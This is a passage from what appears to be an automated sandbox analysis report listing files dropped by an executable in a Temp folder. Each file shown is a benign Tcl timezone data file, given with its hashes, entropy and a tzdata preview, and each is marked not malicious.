{-195066000 -21600 0 CST}. {-179337600 -18000 1 CDT}. {-163616400 -21600 0 CST

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Indiana\Tell_City

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6992
Entropy (8bit):	3.7768650637181533
Encrypted:	false
SSDEEP:	192:CXxjL36559B2XI6XE3X3D2E0bYkzbXwDTIRqfhXbdXvDXpVXVto//q7u379zlq3g:CXxjL36559B2XI6XE3X3D2E0bYkzbXw6
MD5:	D0F40504B578D996E93DAE6DA583116A
SHA1:	4D4D24021B826BFED2735D42A46EEC1C9EBEA8E3
SHA-256:	F4A0572288D2073D093A256984A2EFEC6DF585642EA1C4A2860B38341D376BD8
SHA-512:	BA9D994147318FF5A53D45EC432E118B5F349207D58448D568E0DB316452EF9FD620EE4623FD4EAD123BC2A6724E1BAE2809919C58223E6FD4C7A20F004155E0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Indiana/Tell_City) {. {-9223372036854775808 -20823 0 LMT}. {-2717647200 -21600 0 CST}. {-1633276800 -18000 1 CDT}. {-1615136400 -21600 0 CST}. {-1601827200 -18000 1 CDT}. {-1583686800 -21600 0 CST}. {-880214400 -18000 1 CWT}. {-769395600 -18000 1 CPT}. {-765392400 -21600 0 CST}. {-757360800 -21600 0 CST}. {-747244800 -18000 1 CDT}. {-733942800 -21600 0 CST}. {-526492800 -18000 1 CDT}. {-513190800 -21600 0 CST}. {-495043200 -18000 1 CDT}. {-481741200 -21600 0 CST}. {-462996000 -18000 1 CDT}. {-450291600 -21600 0 CST}. {-431539200 -18000 1 CDT}. {-418237200 -21600 0 CST}. {-400089600 -18000 1 CDT}. {-386787600 -21600 0 CST}. {-368640000 -18000 1 CDT}. {-355338000 -21600 0 CST}. {-337190400 -18000 1 CDT}. {-323888400 -21600 0 CST}. {-305740800 -18000 1 CDT}. {-289414800 -21600 0 CST}. {-273686400 -18000 1 CDT}. {-260989200 -21600 0 CST}

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Indiana\Vevay

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6350
Entropy (8bit):	3.782861360101505
Encrypted:	false
SSDEEP:	96:K9Xx3+lsHRwvOTFhP5S+ijFnRaJeaX1eyDt:6XxuoqvOTFhPI1jFIL
MD5:	35A64C161E0083DCE8CD1E8E1D6EBE85
SHA1:	9BC295C23783C07587D82DA2CC25C1A4586284B2
SHA-256:	75E89796C6FB41D75D4DDA6D94E4D27979B0572487582DC980575AF6656A7822
SHA-512:	7BAF735DA0DE899653F60EED6EEF53DD8A1ABC6F61F052B8E37B404BC9B37355E94563827BC296D8E980C4247864A57A117B7B1CB58A2C242991BBDC8FE7174E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Indiana/Vevay) {. {-9223372036854775808 -20416 0 LMT}. {-2717647200 -21600 0 CST}. {-1633276800 -18000 1 CDT}. {-1615136400 -21600 0 CST}. {-1601827200 -18000 1 CDT}. {-1583686800 -21600 0 CST}. {-880214400 -18000 1 CWT}. {-769395600 -18000 1 CPT}. {-765392400 -21600 0 CST}. {-495043200 -18000 0 EST}. {-31518000 -18000 0 EST}. {-21488400 -14400 1 EDT}. {-5767200 -18000 0 EST}. {9961200 -14400 1 EDT}. {25682400 -18000 0 EST}. {41410800 -14400 1 EDT}. {57736800 -18000 0 EST}. {73465200 -14400 1 EDT}. {89186400 -18000 0 EST}. {94712400 -18000 0 EST}. {1136091600 -18000 0 EST}. {1143961200 -14400 1 EDT}. {1162101600 -18000 0 EST}. {1173596400 -14400 1 EDT}. {1194156000 -18000 0 EST}. {1205046000 -14400 1 EDT}. {1225605600 -18000 0 EST}. {1236495600 -14400 1 EDT}. {1257055200 -18000 0 EST}. {1268550000 -14400 1 EDT}. {1289109600 -18000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Indiana\Vincennes

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6992
Entropy (8bit):	3.795913753683276
Encrypted:	false
SSDEEP:	192:TXxjL36559B2XI6XE3X3D2E0baqvOTFhPI1jFIL:TXxjL36559B2XI6XE3X3D2E0bZ3+
MD5:	AD8B44BD0DBBEB06786B2B281736A82B
SHA1:	7480D3916F0ED66379FC534F20DC31001A3F14AF
SHA-256:	18F35F24AEF9A937CD9E91E723F611BC5D802567A03C5484FAB7AEEC1F2A0ED0
SHA-512:	7911EC3F1FD564C50DEAF074ED99A502A9B5262B63E3E0D2901E21F27E90FBD5656A53831E61B43A096BA1FF18BB4183CCCE2B903782C2189DAAFDD7A90B3083
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Indiana/Vincennes) {. {-9223372036854775808 -21007 0 LMT}. {-2717647200 -21600 0 CST}. {-1633276800 -18000 1 CDT}. {-1615136400 -21600 0 CST}. {-1601827200 -18000 1 CDT}. {-1583686800 -21600 0 CST}. {-880214400 -18000 1 CWT}. {-769395600 -18000 1 CPT}. {-765392400 -21600 0 CST}. {-757360800 -21600 0 CST}. {-747244800 -18000 1 CDT}. {-733942800 -21600 0 CST}. {-526492800 -18000 1 CDT}. {-513190800 -21600 0 CST}. {-495043200 -18000 1 CDT}. {-481741200 -21600 0 CST}. {-462996000 -18000 1 CDT}. {-450291600 -21600 0 CST}. {-431539200 -18000 1 CDT}. {-418237200 -21600 0 CST}. {-400089600 -18000 1 CDT}. {-386787600 -21600 0 CST}. {-368640000 -18000 1 CDT}. {-355338000 -21600 0 CST}. {-337190400 -18000 1 CDT}. {-323888400 -21600 0 CST}. {-305740800 -18000 1 CDT}. {-289414800 -21600 0 CST}. {-273686400 -18000 1 CDT}. {-260989200 -21600 0 CST}

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Indiana\Winamac

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7170
Entropy (8bit):	3.7942292979267767
Encrypted:	false
SSDEEP:	192:YXxjJ2eQzURWu3Oab9B2XWR0/qvOTFhPI1jFIL:YXxjJ2eQzUwu3Oab9B2XWR0M3+
MD5:	40D8E05D8794C9D11DF018E3C8B8D7C0
SHA1:	58161F320CB46EC72B9AA6BAD9086F18B2E0141B
SHA-256:	A13D6158CCD4283FE94389FD341853AD90EA4EC505D37CE23BD7A6E7740F03F6
SHA-512:	BC45B6EFF1B879B01F517D4A4012D0AFBA0F6A9D92E862EF9A960FE07CBE216C8C929FE790044C566DC95981EC4BEAB3DCBD45A1FE597606CF601214A78AEA08
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Indiana/Winamac) {. {-9223372036854775808 -20785 0 LMT}. {-2717647200 -21600 0 CST}. {-1633276800 -18000 1 CDT}. {-1615136400 -21600 0 CST}. {-1601827200 -18000 1 CDT}. {-1583686800 -21600 0 CST}. {-880214400 -18000 1 CWT}. {-769395600 -18000 1 CPT}. {-765392400 -21600 0 CST}. {-757360800 -21600 0 CST}. {-747244800 -18000 1 CDT}. {-733942800 -21600 0 CST}. {-715795200 -18000 1 CDT}. {-702493200 -21600 0 CST}. {-684345600 -18000 1 CDT}. {-671043600 -21600 0 CST}. {-652896000 -18000 1 CDT}. {-639594000 -21600 0 CST}. {-620841600 -18000 1 CDT}. {-608144400 -21600 0 CST}. {-589392000 -18000 1 CDT}. {-576090000 -21600 0 CST}. {-557942400 -18000 1 CDT}. {-544640400 -21600 0 CST}. {-526492800 -18000 1 CDT}. {-513190800 -21600 0 CST}. {-495043200 -18000 1 CDT}. {-481741200 -21600 0 CST}. {-463593600 -18000 1 CDT}. {-447267600 -21600 0 CST}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Indianapolis

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	228
Entropy (8bit):	4.655121947675421
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y73GK7mFVAIgp3GKBL2903GfJ4903GK1:MBaIMY3GK7Hp3GKBL2903GfJ4903GK1
MD5:	CB79BE371FAB0B0A5EBEB1BA101AA8BA
SHA1:	6A24348AB24D6D55A8ABDEE1500ED03D5D1357F3
SHA-256:	6AABF28AC5A766828DD91F2EE2783F50E9C6C6307D8942FCD4DFAE21DB2F1855
SHA-512:	156E1E7046D7A0938FE4BF40BC586F0A7BEF1B0ED7B887665E9C6041980B511F079AA739B7BD42A89794CB9E82DB6629E81DD39D2F8161DFABDED539E272FB6E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Indiana/Indianapolis)]} {. LoadTimeZoneFile America/Indiana/Indianapolis.}.set TZData(:America/Indianapolis) $TZData(:America/Indiana/Indianapolis).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Inuvik

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7389
Entropy (8bit):	3.78271920608107
Encrypted:	false
SSDEEP:	96:/YGm+4I1zXN+C2mWBNQMsmNTxf6AeO+cblX:/JVUC2mWBNwWTxyWR
MD5:	EA93F2A5DE3CED689C8A9664E31D9174
SHA1:	EF81F6A41767084F8C8DC629E0C084C947DA3E2A
SHA-256:	8892A520B306C18A55B2114E1EC9514263F818801D8A0C3A9B8C6E4345B73A0E
SHA-512:	5A237535A8C875D9E734D4A37DA3DB1B1ED86DB407E9E741E1EF241697B9314BA6A3C934227B6D776168C324EC1EE3C939DF1BEB2540342A502AA78DB0E97020
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Inuvik) {. {-9223372036854775808 0 0 zzz}. {-536457600 -28800 0 PST}. {-147888000 -21600 1 PDDT}. {-131558400 -28800 0 PST}. {315558000 -25200 0 MST}. {325674000 -21600 1 MDT}. {341395200 -25200 0 MST}. {357123600 -21600 1 MDT}. {372844800 -25200 0 MST}. {388573200 -21600 1 MDT}. {404899200 -25200 0 MST}. {420022800 -21600 1 MDT}. {436348800 -25200 0 MST}. {452077200 -21600 1 MDT}. {467798400 -25200 0 MST}. {483526800 -21600 1 MDT}. {499248000 -25200 0 MST}. {514976400 -21600 1 MDT}. {530697600 -25200 0 MST}. {544611600 -21600 1 MDT}. {562147200 -25200 0 MST}. {576061200 -21600 1 MDT}. {594201600 -25200 0 MST}. {607510800 -21600 1 MDT}. {625651200 -25200 0 MST}. {638960400 -21600 1 MDT}. {657100800 -25200 0 MST}. {671014800 -21600 1 MDT}. {688550400 -25200 0 MST}. {702464400 -21600 1 MDT}. {720000000 -25200 0 MST}. {733914000 -

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Iqaluit

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7421
Entropy (8bit):	3.7514030267117118
Encrypted:	false
SSDEEP:	96:b/GC3XmzdsHRwvOTFhP5S+ijFnRaJeaX1eyDt:b/Pn0gqvOTFhPI1jFIL
MD5:	A9A59966C4F90AEE45E5DBE2FAFD6ACF
SHA1:	FFFE0614CFEE9477311943211DA6A8988E7381F1
SHA-256:	356CA4C5D302EB72566254E58CE6570C45EB1399C8CC2B4CE0369778B10E9329
SHA-512:	FD62119A86EEC7CFFF0F9179BF7C4DFD0BC4A6CF46D79349821DEFECB4E0FD20DAECBE7F038B0EA1694DADA8F0087E2AFC0E4D6F81DFF26586719FEEC9E461F0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Iqaluit) {. {-9223372036854775808 0 0 zzz}. {-865296000 -14400 0 EWT}. {-769395600 -14400 1 EPT}. {-765396000 -18000 0 EST}. {-147898800 -10800 1 EDDT}. {-131569200 -18000 0 EST}. {325666800 -14400 1 EDT}. {341388000 -18000 0 EST}. {357116400 -14400 1 EDT}. {372837600 -18000 0 EST}. {388566000 -14400 1 EDT}. {404892000 -18000 0 EST}. {420015600 -14400 1 EDT}. {436341600 -18000 0 EST}. {452070000 -14400 1 EDT}. {467791200 -18000 0 EST}. {483519600 -14400 1 EDT}. {499240800 -18000 0 EST}. {514969200 -14400 1 EDT}. {530690400 -18000 0 EST}. {544604400 -14400 1 EDT}. {562140000 -18000 0 EST}. {576054000 -14400 1 EDT}. {594194400 -18000 0 EST}. {607503600 -14400 1 EDT}. {625644000 -18000 0 EST}. {638953200 -14400 1 EDT}. {657093600 -18000 0 EST}. {671007600 -14400 1 EDT}. {688543200 -18000 0 EST}. {702457200 -14400 1 EDT}. {71999280

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Jamaica

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	818
Entropy (8bit):	4.143709781460862
Encrypted:	false
SSDEEP:	24:cQ1elRMKFD/u/Ip/uJD/u2lR/utzN54i/uhU/ufUF5/uDBq/u63gU/u3Zh/u4u8H:5ORMKFYIgxmzfwuFqBG3g/k8H
MD5:	CA9F0DD0E18DA275428256D91A2BA770
SHA1:	6EBE0E360198C6CDD17232F0495FD7E557D4FB82
SHA-256:	A1DD498E04962E02AECF2221E8CC82BC886E0062DC0416384825708C4213A2AD
SHA-512:	FFC4F290439A444C6D539A6C5A29EB578BDA708D0005C9706E510E8EDA5C8664D369CBEC320A1FC28AD198084318298388689A66520CF6A8EFDD5391AEBC6B2E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Jamaica) {. {-9223372036854775808 -18431 0 LMT}. {-2524503169 -18431 0 KMT}. {-1827687169 -18000 0 EST}. {126248400 -18000 0 EST}. {126687600 -14400 1 EDT}. {152085600 -18000 0 EST}. {162370800 -14400 1 EDT}. {183535200 -18000 0 EST}. {199263600 -14400 1 EDT}. {215589600 -18000 0 EST}. {230713200 -14400 1 EDT}. {247039200 -18000 0 EST}. {262767600 -14400 1 EDT}. {278488800 -18000 0 EST}. {294217200 -14400 1 EDT}. {309938400 -18000 0 EST}. {325666800 -14400 1 EDT}. {341388000 -18000 0 EST}. {357116400 -14400 1 EDT}. {372837600 -18000 0 EST}. {388566000 -14400 1 EDT}. {404892000 -18000 0 EST}. {420015600 -14400 1 EDT}. {436341600 -18000 0 EST}. {441781200 -18000 0 EST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Jujuy

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	206
Entropy (8bit):	4.89710274358395
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7/MI1VAIgp/MI+290pPGe90/MIE:MBaIMY/Mvp/Mh290h390/MB
MD5:	320C83EFE59FD60EB9F5D4CF0845B948
SHA1:	5A71DFAE7DF9E3D8724DFA533A37744B9A34FFEC
SHA-256:	67740B2D5427CFCA70FB53ABD2356B62E01B782A51A805A324C4DFAD9ACA0CFA
SHA-512:	D7A6378372386C45C907D3CB48B923511A719794B0C0BFA3694DBCE094A46A48249720653836C2F10CBB2178DD8EEEEA6B5019E4CC6C6B650FD7BE256BE1CA99
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Argentina/Jujuy)]} {. LoadTimeZoneFile America/Argentina/Jujuy.}.set TZData(:America/Jujuy) $TZData(:America/Argentina/Jujuy).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Juneau

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8406
Entropy (8bit):	3.882476905033879
Encrypted:	false
SSDEEP:	96:JZL19jPaps/Q7Ddh5sBPyNsSLFOMM/EowALVZVmWa86Eac8rQ:fB9jPP/4h5sBPy+CMt/ElALLVuAH
MD5:	C2C6145B7E41983259343FFE5992EA35
SHA1:	467D9EBCF3F0A5FC5B03F662A606125F5C10692F
SHA-256:	189658620FE07CF20EEABCD3968A9C1A497576F83592C9622D964E48FC4E9A51
SHA-512:	41C791BF2885B5C0ED7DE5DB1B34B22F67C699C0E3248563DAA8DAEE92E2D02168F6CC21DE6D1B3EDEFC71E6FDFD09AEDB1D768A8435583C14FACCA59CF1C686
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Juneau) {. {-9223372036854775808 54139 0 LMT}. {-3225366139 -32261 0 LMT}. {-2188954939 -28800 0 PST}. {-883584000 -28800 0 PST}. {-880207200 -25200 1 PWT}. {-769395600 -25200 1 PPT}. {-765385200 -28800 0 PST}. {-757353600 -28800 0 PST}. {-31507200 -28800 0 PST}. {-21477600 -25200 1 PDT}. {-5756400 -28800 0 PST}. {9972000 -25200 1 PDT}. {25693200 -28800 0 PST}. {41421600 -25200 1 PDT}. {57747600 -28800 0 PST}. {73476000 -25200 1 PDT}. {89197200 -28800 0 PST}. {104925600 -25200 1 PDT}. {120646800 -28800 0 PST}. {126698400 -25200 1 PDT}. {152096400 -28800 0 PST}. {162381600 -25200 1 PDT}. {183546000 -28800 0 PST}. {199274400 -25200 1 PDT}. {215600400 -28800 0 PST}. {230724000 -25200 1 PDT}. {247050000 -28800 0 PST}. {262778400 -25200 1 PDT}. {278499600 -28800 0 PST}. {294228000 -25200 1 PDT}. {309949200 -28800 0 PST}. {325677600

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Kentucky\Louisville

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9332
Entropy (8bit):	3.769996646995791
Encrypted:	false
SSDEEP:	192:wmXxSkUArUfxLURWu3O5bMQxXI6Xah0drn+qvOTFhPI1jFIL:wmXxSkUArUfxLUwu3O5bMQxXI6Xah2n8
MD5:	D9BC20AFD7DA8643A2091EB1A4B48CB3
SHA1:	9B567ABF6630E7AB231CAD867AD541C82D9599FF
SHA-256:	B4CC987A6582494779799A32A9FB3B4A0D0298425E71377EB80E2FB4AAAEB873
SHA-512:	0BC769A53E63B41341C25A0E2093B127064B589F86483962BD24DB4082C4466E12F4CD889B82AD0134C992E984EF0897113F28321522B57BA45A98C15FF7E172
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Kentucky/Louisville) {. {-9223372036854775808 -20582 0 LMT}. {-2717647200 -21600 0 CST}. {-1633276800 -18000 1 CDT}. {-1615136400 -21600 0 CST}. {-1601827200 -18000 1 CDT}. {-1583686800 -21600 0 CST}. {-1546279200 -21600 0 CST}. {-1535904000 -18000 1 CDT}. {-1525280400 -21600 0 CST}. {-905097600 -18000 1 CDT}. {-891795600 -21600 0 CST}. {-883591200 -21600 0 CST}. {-880214400 -18000 1 CWT}. {-769395600 -18000 1 CPT}. {-765392400 -21600 0 CST}. {-757360800 -21600 0 CST}. {-747244800 -18000 1 CDT}. {-744224400 -21600 0 CST}. {-715795200 -18000 1 CDT}. {-684349200 -18000 1 CDT}. {-652899600 -18000 1 CDT}. {-620845200 -18000 1 CDT}. {-608144400 -21600 0 CST}. {-589392000 -18000 1 CDT}. {-576090000 -21600 0 CST}. {-557942400 -18000 1 CDT}. {-544640400 -21600 0 CST}. {-526492800 -18000 1 CDT}. {-513190800 -21600 0 CST}. {-495043200 -18000 1

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Kentucky\Monticello

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8279
Entropy (8bit):	3.785637200740036
Encrypted:	false
SSDEEP:	192:jFPXxEOdXkqbfkeTzZSJw5/9/yuvQ+hcrD57X0N41+gqvOTFhPI1jFIL:5PXxEOdXkqbfNTzZSJw5/9/yuvQ6crD9
MD5:	0C6F5C9D1514DF2D0F8044BE27080EE2
SHA1:	70CBA0561E4319027C60FB0DCF29C9783BFE8A75
SHA-256:	1515460FBA496FE8C09C87C51406F4DA5D77C11D1FF2A2C8351DF5030001450F
SHA-512:	17B519BCC044FE6ED2F16F2DFBCB6CCE7FA83CF17B9FC4A40FDA21DEFBA9DE7F022A50CF5A264F3090D57D51362662E01C3C60BD125430AEECA0887BB8520DB1
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Kentucky/Monticello) {. {-9223372036854775808 -20364 0 LMT}. {-2717647200 -21600 0 CST}. {-1633276800 -18000 1 CDT}. {-1615136400 -21600 0 CST}. {-1601827200 -18000 1 CDT}. {-1583686800 -21600 0 CST}. {-880214400 -18000 1 CWT}. {-769395600 -18000 1 CPT}. {-765392400 -21600 0 CST}. {-757360800 -21600 0 CST}. {-63136800 -21600 0 CST}. {-52934400 -18000 1 CDT}. {-37213200 -21600 0 CST}. {-21484800 -18000 1 CDT}. {-5763600 -21600 0 CST}. {9964800 -18000 1 CDT}. {25686000 -21600 0 CST}. {41414400 -18000 1 CDT}. {57740400 -21600 0 CST}. {73468800 -18000 1 CDT}. {89190000 -21600 0 CST}. {104918400 -18000 1 CDT}. {120639600 -21600 0 CST}. {126691200 -18000 1 CDT}. {152089200 -21600 0 CST}. {162374400 -18000 1 CDT}. {183538800 -21600 0 CST}. {199267200 -18000 1 CDT}. {215593200 -21600 0 CST}. {230716800 -18000 1 CDT}. {247042800 -21600 0 C

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Knox_IN

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	199
Entropy (8bit):	4.8191308888643345
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y73GKXFVAIgp3GK4N2901iZ903GKk:MBaIMY3GKXQp3GKe290Q903GKk
MD5:	465D405C9720EB7EC4BB007A279E88ED
SHA1:	7D80B8746816ECF4AF45166AED24C731B60CCFC6
SHA-256:	BE85C86FBD7D396D2307E7DCC945214977829E1314D1D71EFAE509E98AC15CF7
SHA-512:	C476022D2CC840793BF7B5841051F707A30CCAB1022E30FB1E45B420077417F517BEDA5564EFB154283C7C018A9CA09D10845C6A1BFE2A2DE7C939E307BDCE6F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Indiana/Knox)]} {. LoadTimeZoneFile America/Indiana/Knox.}.set TZData(:America/Knox_IN) $TZData(:America/Indiana/Knox).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Kralendijk

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	187
Entropy (8bit):	4.810917109656368
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx09CvjHVAIg209CvjvQ2IAcGE1QOa0IAcGE9Cvju:SlSWB9IZaM3y79CzVAIgp9CE2901Qv0k
MD5:	4763D6524D2D8FC62720BCD020469FF6
SHA1:	EE567965467E4F3BDFE4094604E526A49305FDD8
SHA-256:	A794B43E498484FFD83702CFB9250932058C01627F6F6F4EE1432C80A9B37CD6
SHA-512:	37462E0A3C24D5BAEBDD1ADCF8EE94EA07682960D710D57D5FD05AF9C5F09FF30312528D79516A16A0A84A2D351019DBB33308FC39EC468033B18FB0AC872C13
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Curacao)]} {. LoadTimeZoneFile America/Curacao.}.set TZData(:America/Kralendijk) $TZData(:America/Curacao).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\La_Paz

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	211
Entropy (8bit):	4.906725349443972
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52IAcGEyUMWkXGm2OHpJvvvX+nFp1vZSsXxymxvUmBXlVvxC:SlSWB9X5290Xm2OHphvPKZpydmBVVI
MD5:	6682484C3A44609C949CA050DF75F9F0
SHA1:	6BCFA42D53F55FE7D9F12533C0E79B0C6D3F9BF2
SHA-256:	1476CDDA7BBDD80542FE7EE81516511C47B2CDA336D7290D7329C43D43CE90BB
SHA-512:	5B5FB9CF6E156B058CCDEBEC4C3A1941D7F5AF59C4AB00FDE5ACBD71A1D006960D7A151BF575349DC961AE4CADA8406080C77281AA5960338374882FF38FF4AF
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/La_Paz) {. {-9223372036854775808 -16356 0 LMT}. {-2524505244 -16356 0 CMT}. {-1205954844 -12756 1 BOST}. {-1192307244 -14400 0 BOT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Lima

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	447
Entropy (8bit):	4.3934794282318315
Encrypted:	false
SSDEEP:	12:MBp5290BbmdH4VPvut/Na/k0QXR/uFmC3/kFe/uFis/kZ/kkF/k88/kUS1F5/kL:cQye8mVNa85R/uH8o/u4s8Z8O8V8USPS
MD5:	8B7AA48D355E4DFCA5F70CF5D6EF7757
SHA1:	817CDC27C7CB4642A7BD3239506ECAECB1852815
SHA-256:	893146B4F7521C089A22354A8314812736AAF8C64DFF0364A1083A4181BDEA48
SHA-512:	38E2FC1774718BC10EB1440DDCE83310262086D14DA17E157873B86814EFCDB047687F05D44B168206AE752ADAC5BF2E78FDD3676B7CC65D0144B0869F1E9481
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Lima) {. {-9223372036854775808 -18492 0 LMT}. {-2524503108 -18516 0 LMT}. {-1938538284 -14400 0 PEST}. {-1002052800 -18000 0 PET}. {-986756400 -14400 1 PEST}. {-971035200 -18000 0 PET}. {-955306800 -14400 1 PEST}. {-939585600 -18000 0 PET}. {512712000 -18000 0 PET}. {544248000 -18000 0 PET}. {638942400 -18000 0 PET}. {765172800 -18000 0 PET}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Los_Angeles

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9409
Entropy (8bit):	3.765996600201645
Encrypted:	false
SSDEEP:	192:lWf/5LB6xN9jgNf+aNwj/lpmlOxnKcndIG:lW35LB6xN9wfefnK6
MD5:	3647C4B5DEE91CF5D9F69683719A0DE1
SHA1:	99A2399CA36C06F80094875EE6EE505A2347D0B0
SHA-256:	C4E241FED91FA8CA0AE3DD44528BB962FC86F505865BABD2FD5621B9FAE3AE12
SHA-512:	051FC88881E21BC1B1BE22410A16A79F122051D5DA7FF24E9A01D1265960058827E814BFFE51B9592F2186E57305B6259A81064A006247973F26EFE949D6ACCF
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Los_Angeles) {. {-9223372036854775808 -28378 0 LMT}. {-2717640000 -28800 0 PST}. {-1633269600 -25200 1 PDT}. {-1615129200 -28800 0 PST}. {-1601820000 -25200 1 PDT}. {-1583679600 -28800 0 PST}. {-880207200 -25200 1 PWT}. {-769395600 -25200 1 PPT}. {-765385200 -28800 0 PST}. {-757353600 -28800 0 PST}. {-687967200 -25200 1 PDT}. {-662655600 -28800 0 PST}. {-620834400 -25200 1 PDT}. {-608137200 -28800 0 PST}. {-589384800 -25200 1 PDT}. {-576082800 -28800 0 PST}. {-557935200 -25200 1 PDT}. {-544633200 -28800 0 PST}. {-526485600 -25200 1 PDT}. {-513183600 -28800 0 PST}. {-495036000 -25200 1 PDT}. {-481734000 -28800 0 PST}. {-463586400 -25200 1 PDT}. {-450284400 -28800 0 PST}. {-431532000 -25200 1 PDT}. {-418230000 -28800 0 PST}. {-400082400 -25200 1 PDT}. {-386780400 -28800 0 PST}. {-368632800 -25200 1 PDT}. {-355330800 -28800 0 PST}. {

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Louisville

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	223
Entropy (8bit):	4.866250035215905
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y71PiKp4ozFVAIgp1PiKp4zL290hp4901PiKp4/:MBaIMYPyJpPyzL290P490Py/
MD5:	3BAD2D8B6F2ECB3EC0BFA16DEAEBADC3
SHA1:	2E8D7A5A29733F94FF247E7E62A7D99D5073AFDC
SHA-256:	242870CE8998D1B4E756FB4CD7097FF1B41DF8AA6645E0B0F8EB64AEDC46C13C
SHA-512:	533A6A22A11C34BCE3772BD85B6A5819CCCD98BF7ECED9E751191E5D1AD3B84F34D70F30936CFE501C2FA3F6AAC7ABB9F8843B7EB742C6F9C2AD4C22D5C73740
Malicious:	false
Reputation:	unknown
